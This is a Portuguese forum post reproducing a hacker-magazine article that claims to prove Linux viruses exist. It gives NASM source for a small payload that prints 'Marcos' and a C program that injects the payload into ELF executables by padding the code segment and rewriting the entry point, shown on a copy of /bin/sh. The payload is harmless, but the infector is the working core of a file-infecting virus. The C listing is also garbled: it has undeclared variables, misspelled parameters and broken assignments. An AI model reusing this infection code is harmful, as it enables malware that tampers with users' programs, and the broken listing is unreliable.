Sim existe vírus para Linux!
Reportagem retirada da revista H4CK3R
(edição 4 - pag. 21-25):
"Durante muito tempo, escutei que Linux não tinha vírus, que não podia ser infectado, e coisas do gênero.
Através deste artigo, venho apresentar como é fácil criar vírus para Linux. Acho que algumas bocas serão caladas aqui para frente.
Venho estudando o formato dos arquivos executáveis do Linux (arquivos ELF), e digo, com toda a certeza, que eles são muito mais simples do que o formato dos arquivos executáveis do Windows (arquivos PE). Com isso, podemos explorar essa capacidade e demonstar o quanto é simples criar um exemplo de como infectar um arquivo ELF, e ele continuar funcionando normalmente.
A idéia principal do programa é embutir um arquivo BIN dentro de um arquivo ELF.
Este arquivo BIN nada mais é do que um típico programa "Hello World", ou seja, apenas apresenta uma mensagem no console, no caso, meu nome: "Marcos".
Gerei este pequeno arquivo BIN (de apenas 52 bytes) em NASM. É um programa para fazer a infecção em C... Fico imaginando que, em breve, será muito simples criar vírus multiplataforma, infectando Linux e Windows.
Fiz os testes no Red Hat 7.2, mas acredito que exista completa compatibilidade com outras distribuições.
Para compilá-lo, apenas digite:
nasm virus.asm -o virus -f bin
----------INÍCIO DO CÓDIGO DO VÍRUS.ASM------------
;
; Desenvolvimento:
;
;By Marcos Velasco
;;
; Propósito:
;
;Um simples "Hello World", que será "acoplado" a um
;programa em formato ELF.
;
;Apesar do nome "VIRUS.ASM", este arquivo não tem poder
;destrutivo, apenas servirá para mostrar como um arquivo
;em formato BIN poderá ser colocado dentro de um arquivo
;ELF e continuar com seu funcionamento normal.
;
;Observações:
;
;Testado em RedHat 7.2
;Compilado em NASM
;
;Compilação:
;
;nasm virus.asm -o virus -f bin
;
;-----
BITS 32
push dword 0 ;Entry Point original
pushf
pusha
call Inicio ; Apenas um delta para obter o EBP
Inicio:
pop ebp
sub ebp, Inicio
mov eax, 4 ; eax = 4 = Gravar
mov ebx, 1 ; ebx = 1 = STDOUT
lea ecx, [ Mensagem + ebp ] ; ecx = String
mov edx, Tamanho ; edx = Total de caracteres
int 0x80
popa
popf
ret
Mensagem db 'Marcos', 0x0A
Tamanho equ $ - Mensagem
--------------FIM DO CÓDIGO DO VÍRUS.ASM-------------
Agora precisamos criar o programa "INFECTADOR". Este programa servirá para gravar o vírus dentro de um arquivo ELF.
Para compilá-lo, apenas digite:
gcc infecta.c -o infecta
---------INÍCIO DO CÓDIGO DO INFECTA.C-------------
/*****
*
* Desenvolvimento:
*
* By Marcos Velasco
*
* Propósito:
*
* Exemplo de infecção de arquivos Linux ELF.
*
*
* Observações:
*
* Testado em RedHat 7.2
* Compilado em GCC
*
*
* Compilação:
*
* gcc infecta.c -o infecta
*
*
* Exemplo de funcionamento:
*
* ./infecta ./sh
*
* Será gerado um arquivo chamado "sh_com_virus" ...
*
* Quando executado, irá aparecer "Marcos" antes do arquivo entrar em
* operação, mostrando que a infecção foi realizada com sucesso.
*
*****/
#include <elf.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stddef.h>
#include <sys/mman.h>
/* Tamanho da infecção de uma página = 4096 bytes = 0x1000
*/
#define _TAMANHO_INFECCAO 0x1000
#define _CODE_SEGMENT 2
#define _DATA_SEGMENT 3
/* Alinhamento múltiplo de 16 = (0 a 15) */
#define Alinhamento( n ) ( (unsigned) ( n + 15 ) & ~15 )
/*
* Código da infecção (ver código-fonte do virus.asm)
* Fazer um dump do arquivo virus.bin (virus.asm compilado com NASM)
* e embutir o código aqui
*/
static unsigned char ucInfeccao[] =
{
0x68, 0x00, 0x00, 0x00, 0x00, /* push dword 0 */
0x9c, /* pushf */
0x60, /* pusha */
0xe8, 0x00, 0x00, 0x00, 0x00, /* call start */
0x5d, 0x81, /* pop ebp */
0xed, 0x0c, 0x00, 0x00, 0x00, /* sub ebp, start */
0xb8, 0x04, 0x00, 0x00, 0x00, /* mov eax, 4 */
0xbb, 0x01, 0x00, 0x00, 0x00, /* mov ebx, 1 */
0x8d, 0x8d, 0x2d, 0x00, 0x00, 0x00, /* lea ecx, [Mensagem+ebp] */
0xba, 0x07, 0x00, 0x00, 0x00, /* mov edx, Tamanho (7 Bytes)
*/
0xcd, 0x80, /* int 0x80 */
0x61, /* popa */
0x9d, /* popf */
0xc3, /* ret */
0x4d, 0x61, 0x72, 0x63, 0x6f, 0x73, 0x0a /* Marcos <enter> (7 Bytes) */
};
/************ * *
* *
* Principal *
* *
* *
***************/
int main( int argc, char *arv[] )
{
/* Declaração das variáveis */
char cArquivoDestino[ 256 ];
Elf32_Ehdr *ehdrCabecalhoELF; /* ELF Header */
Elf32_Shdr *shdrCabecalhoSecao; /* Section Header */
Elf32_Phdr *phdrCabecalhoSegmentoPrograma; /* Program Header */
Elf32_Phdr *phdrSegmentoPrograma;
unsigned uEntryPointOriginalNaMemoria;
unsigned uFimDoCodeSegmentNoArquivo;
unsigned uFimDoCodeSegmentAlinhadoNoArquivo;
unsigned uLoop;
int iInfeccaoOK;
int fOrigem;
int fDestino;
off_t TamanhoArquivo;
union
{
Elf32_Ehdr *ehdrCabecalhoELF;
unsigned char *ucByte;
void *hHandle;
} unionELF;
/* Define nome do arquivo-destino */
strcpy( cArquivoDestino, argv[ 1 ]);
strcat( cArquivoDestino, "_com_virus" );
/* Setar Flag de controle de erro */
iInfeccaoOK = 0;
/* Faz abertura do arquivo */
fOrigem = open( argv[ 1 ], O_RDONLY );
if ( fOrigem == -1 )
return 0;
/* Obtém o seu tamanho */
uTamanhoArquivo = lseek( fOrigem, 0, SEEK_END );
/* Apresentação */
printf( "Infectando arquivo %s", argv[ 1 ] );
/* Mapeia arquivo na memória */
unionELF.hHandle = mmap( 0,
uTamanhoArquivo,
PROT_READ | PROT_WRITE,
MAP_PRIVATE,
fOrigem,
0 );
/* NÃO houve erro? */
if ( unionELF.hHandle != MAP_FAILED )
{
/* Cria arquivo-destino */
fDestino = open( cArquivoDestino, O_CREAT | O_TRUNC |
O_WRONLY, 0775 );
if ( fDestino != -1 )
{
/* Define posições */
ehdrCabecalhoELF = (Elf32_Ehdr *) 0x8048000;
phdrCabecalhoSegmentoPrograma =
(Elf32_Phdr *)((char *) ehdrCabecalhoELF +
ehdrCabecalhoELF->e_phoff );
phdrSegmentoPrograma = (Elf32_Phdr *)
( unionELF.ucByte +
unionELF.ehdrCabecalhoELF->e_phoff );
/*
* Compara a Identificação do Executável ELF
*/
if ( memcmp( &unionELF.ehdrCabecalhoELF->e_ident,
&ehdrCabecalhoELF->e_ident,
(size_t) offsetof( Elf32_Ehdr, e_entry )) == 0 &&
/*
* Offsetes do cabeçalho do programa são iguais?
*/
unionELF.ehdrCabecalhoELF->e_phoff ==
ehdrCabecalhoELF->e_phoff &&
/*
* Compara Flags específicos de processador
*/
memcmp( &unionELF.ehdrCabecalhoELF->e_flags,
&ehdrCabecalhoELF->e_flags,
(size_t) offsetof( Elf32_Ehdr, e_shentsize )-
offsetof( Elf32_Ehdr, e_flags )) == 0 &&
/*
* Tipos de segmento são equivalentes?
*/
phdrSegmentoPrograma[ _CODE_SEGMENT ].p_type ==
phdrCabecalhoSegmentoPrograma[ _CODE_SEGMENT
].p_type &&
phdrSegmentoPrograma[ _DATA_SEGMENT ].p_type ==
phdrCabecalhoSegmentoPrograma[ _DATA_SEGMENT
].p_type &&
/*
* Tamanho do segmento no arquivo e na memória são iguais?
*/
phdrSegmentoPrograma[ _CODE_SEGMENT ].p_filesz ==
phdrSegmentoPrograma[ _CODE_SEGMENT ].p_memsz
)
{
/* Faz o cálculo do fim do Code Segment */
uFimDoCodeSegmentNoArquivo =
phdrSegmentoPrograma[ _CODE_SEGMENT ].p_offset +
phdrSegmentoPrograma[ _CODE_SEGMENT ].p_filesz;
uFimDoCodeSegmentAlinhadoNoArquivo =
Alinhamento( uFimDoCodeSegmentNoArquivo );
/* Faz o cálculo do Entry Point */
uEntryPointOriginalNaMemoria
unionELF.ehdrCabecalhoELF->e_entry;
unionELF.ehdrCabecalhoELF->e_entry =
Alinhamento( phdrSegmentoPrograma[ _CODE_SEGMENT ].p_filesz );
/* Verifica distância entre os segmentos Code e Data na memória */
if (size_t)
( phdrSegmentoPrograma[ _DATA_SEGMENT ].p_vaddr -
phdrSegmentoPrograma[ _CODE_SEGMENT ].p_vaddr -
phdrSegmentoPrograma[ _CODE_SEGMENT ].p_memsz - 1 )
>=
_TAMANHO_INFECCAO )
{
/* Acrescenta o tamanho da infeccao */
phdrSegmentoPrograma [ _CODE_SEGMENT ].p_memsz +=
_TAMANHO_INFECCAO;
phdrSegmentoPrograma[ _CODE_SEGMENT ].p_memsz +=
_TAMANHO_INFECCAO;
for ( uLoop = unionELF.ehdrCabecalhoELF->e_phnum;
uLoop > 0;
uLoop -, phdrSegmentoPrograma ++ )
{
if ( phdrSegmentoPrograma->p_offset >
uFimDoCodeSegmentNoArquivo )
{
phdrSegmentoPrograma->p_offset +=
_TAMANHO_INFECCAO;
}
}
shdrCabecalhoSecao =
(Elf32_Shdr *) ( unionELF.ucByte +
unionELF.ehdrCabecalhoELF->e_shoff );
for ( uLoop = unionELF.ehdrCabecalhoELF->e_shnum;
uLoop > 0;
uLoop -, shdrCabecalhoSecao ++ )
{
/* Move todas as seções seguintes */
/* conforme o tamanho da infecção */
if ( shdrCabecalhoSecao->sh_offset >
uFimDoCodeSegmentNoArquivo )
{
shdrCabecalhoSecao->sh_offset += _TAMANHO_INFECCAO,
}
/* Aumenta o tamanho da última seção de Code Segment */
/* geralmente .RODATA */
else if ( shdrCabecalhoSecao->sh_offset +
shdrCabecalhoSecao->sh_size ==
uFimDoCodeSegmentNoArquivo )
{
shdrCabecalhoSecao->sh_size += _TAMANHO_INFECCAO;
}
}
unionELF.ehdrCabecalhoELF->e_shoff
_TAMANHO_INFECCAO;
/* Grava o primeiro byte, na verdade, um "PUSH" */
lseek( fDestino, uFimDoCodeSegmentAlinhadoNoArquivo,
SEEK_SET );
write( fDestino, ucInfeccao, 1 );
/* Grava o Entry Point original, este será o */
/* endereço de retorno */
write( fDestino,
&uEntryPointOriginalNaMemoria,
sizeof( uEntryPointOriginalNaMemoria ));
/* Grava o restante do código da infecção */
/* +5/-5 bytes equivalente ao "PUSH DWORD 0" */
write( fDestino, ucInfeccao + 5, sizeof( ucInfeccao ) - 5 );
/* Resto do código destino */
lseek( fDestino,
uFimDoCodeSegmentNoArquivo + _TAMANHO_INFECCAO,
SEEK_SET );
write( fDestino,
unionELF.ucByte + uFimDoCodeSegmentNoArquivo,
uTamanhoArquivo - uFimDoCodeSegmentNoArquivo );
/* Se chegou até aqui, é porque a infecção foi correta */
iInfeccaoOK = 1;
}
}
}
}
/* Infectou corretamente? */
if ( iInfeccaoOK )
printf( " OK\n" );
else
printf( " Erro\n" );
/* Fechar mapeamento de arquivo */
if ( unionELF.hHandle != 0 )
munmap( unionELF.hHandle, uTamanhoArquivo );
/* Fecha handles */
close( fOrigem );
close( fDestino );
/* Retorno */
return 0;
}
------------FIM DO CÓDIGO DO INFECTA.C--------------
Exemplo de uso:
Copie um arquivo ELF qualquer, como por exemplo, o "/bin/sh"...
Vamos usá-lo como exemplo:
cd /users/virus
cp /bin/sh
./infecta ./sh
Com isso, será gerado o arquivo "sh_com_virus"...
Quando ele for executado, antes de sua execução, será apresentado "Marcos", ou seja, o arquivo foi infectado. Foi disparado nosso arquivo BIN, que está dentro do arquivo ELF, e logo em seguida foi executado o programa normalmente, exatamente o que faz um vírus.
__
Marcos Velasco
Analista de Segurança de Dados e
Especialista em vírus
"
Lembrando que esse texto foi retirado da H4CK3R #4
Espero que isso ajude! ;)
Faley!
Hedward Universite


Responder com citação


